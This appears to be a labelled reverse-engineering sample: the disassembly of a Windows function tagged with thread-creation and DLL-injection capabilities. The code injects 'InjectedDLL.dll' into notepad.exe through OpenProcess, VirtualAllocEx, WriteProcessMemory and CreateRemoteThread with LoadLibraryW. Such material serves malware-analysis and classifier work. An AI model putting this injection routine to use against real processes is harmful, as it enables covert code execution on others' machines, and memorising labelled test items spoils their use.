Function at 0x140020b6d
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
jmp 0x14004e3b0
push rbp
push rsi
push rdi
sub rsp, 0x550
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xe4
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1400a9e80]
xor rax, rbp
mov qword [rbp + 0x508], rax
lea rcx, [0x1400b6197]
call fcn.140021856
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0xa8], 0
lea rax, [rbp + 0xc8]
lea rcx, str.InjectedDLL.dll
mov rdi, rax
mov rsi, rcx
mov ecx, 0x20
rep movsb byte [rdi], byte [rsi]
mov dword [rbp + 0x354], 0
lea rcx, str.notepad.exe
call fcn.140020500
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x14004e44a
xor eax, eax
jmp 0x14004e6dc
mov edx, dword [rbp + 4]
lea rcx, str._t___Getting_proc_id:__u_n
call fcn.1400200d7
call fcn.1400209fb
mov dword [rbp + 0x374], eax
mov edx, dword [rbp + 0x374]
lea rcx, str._t___Setting_Debug_Privileges___d__n
call fcn.1400200d7
cmp dword [rbp + 0x374], 0
jne 0x14004e486
xor eax, eax
jmp 0x14004e6dc
mov r8d, dword [rbp + 4]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x14004e4b8
lea rcx, str.OpenProcess
call fcn.140020d61
jmp 0x14004e6a1
lea rcx, [0x14006c808]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x14004e4e6
lea rcx, str.GetModuleHandle
call fcn.140020d61
jmp 0x14004e6a1
lea rcx, str._t___Looking_for_LoadLibrary_in_kernel32_n
call fcn.1400200d7
lea rdx, str.LoadLibraryW
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x14004e52a
lea rcx, str.GetProcAddress
call fcn.140020d61
jmp 0x14004e6a1
mov rdx, qword [rbp + 0x88]
lea rcx, str._t___Found_at_0x_p_n
call fcn.1400200d7
xor r9d, r9d
lea r8, [rbp + 0x110]
mov edx, 0x104
lea rcx, [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
lea rdx, [rbp + 0x110]
lea rcx, str._t___Full_DLL_Path:__s_n
call fcn.1400200d7
lea rcx, [rbp + 0x110]
call qword [sym.imp.ucrtbased.dll_wcslen]
shl rax, 1
mov qword [rbp + 0x338], rax
lea rcx, str._t___Allocating_space_for_the_path_of_the_DLL_n
call fcn.1400200d7
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rbp + 0x338]
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x14004e5d7
lea rcx, str.VirtualAllocEx
call fcn.140020d61
jmp 0x14004e6a1
mov rdx, qword [rbp + 0xa8]
lea rcx, str._t___Writing_into_the_current_process_space_at_0x_p_n
call fcn.140020adc
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x338]
lea r8, [rbp + 0x110]
mov rdx, qword [rbp + 0xa8]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14004e626
lea rcx, str.WriteProcessMemory
call fcn.140020d61
jmp 0x14004e6a1
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0xa8]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x88]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x14004e672
lea rcx, str.CreateRemoteThread
call fcn.140020d61
jmp 0x14004e6a1
lea rcx, str.Remote_thread_has_been_created_successfully_..._n
call fcn.1400200d7
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x354], 1
cmp qword [rbp + 0xa8], 0
je 0x14004e6c5
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0xa8]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp qword [rbp + 0x28], 0
je 0x14004e6d6
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x354]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.1400213b5
mov rax, rdi
mov rcx, qword [rbp + 0x508]
xor rcx, rbp
call fcn.140020b4a
lea rsp, [rbp + 0x510]
pop rdi
pop rsi
pop rbp
ret